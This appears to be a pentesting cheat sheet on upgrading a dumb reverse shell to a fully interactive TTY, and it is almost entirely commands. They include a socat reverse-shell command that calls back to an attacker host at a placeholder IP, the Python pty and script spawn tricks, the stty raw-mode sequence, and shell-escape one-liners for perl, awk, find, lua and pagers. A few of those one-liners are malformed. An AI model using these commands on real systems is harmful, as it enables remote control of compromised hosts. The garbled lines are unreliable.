Upgrade

TL;DR

Term	Meaning
tty	teletype
pty	pseudoterminal

Why

Ability to CTRL+C, tab completion, clear screen, up and down arrows, text editing, etc.

Process

Socat

An upgraded shell can be spawn right away if socat is on the target host. Set up a listener from the attack host.

socat file:$(tty),raw,echo=0 tcp-listen:1337

On the target host.

# check if socat exists
which socat
# reverse shell command
socat exec:'bash -li',pty,stderr tcp:<ip>:1337

Script/Python

Check if Python3/Script is installed on the target.

Script

which script

Python3

which python3

Spawn bash with Script or Python3.

Script

script /dev/null -c /bin/bash

Python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

Send tty to the backgroup (CTRL+Z) and check terminal's type and dimensions.

echo $TERM && stty size

Disable echo, send I/O straight through, and bring process to foreground.

stty raw -echo; fg

Press enter, reset terminal, and input the terminal type (xterm/screen).

reset

Match tty's dimensions to the hosts.

stty rows 51 cols 209

Set the TERM variable to the terminal's type.

export TERM=xterm

# the whole process
which script
script /dev/null -c /bin/bash
^Z
echo $TERM && stty size
stty raw -echo; fg
reset
stty rows 51 cols 209
export TERM=xterm

Alternatives

Other ways to spawn a bash/sh shell.

# echo
echo 'os.system('/bin/bash')'
# sh
/bin/sh -i
# bash
/bin/bash -i
# perl
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
# ruby
ruby: exec "/bin/sh"
# awk
awk 'BEGIN {system("/bin/sh")}'
# find
find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
# lua
lua: os.execute('/bin/sh')
# type more, less, or man command with a file then try
'! /bin/sh'
'!/bin/sh'
'!bash'

0xdf

NullByte

Upgrade a Dumb Shell to a Fully Interactive Shell for More FlexibilityWonderHowTo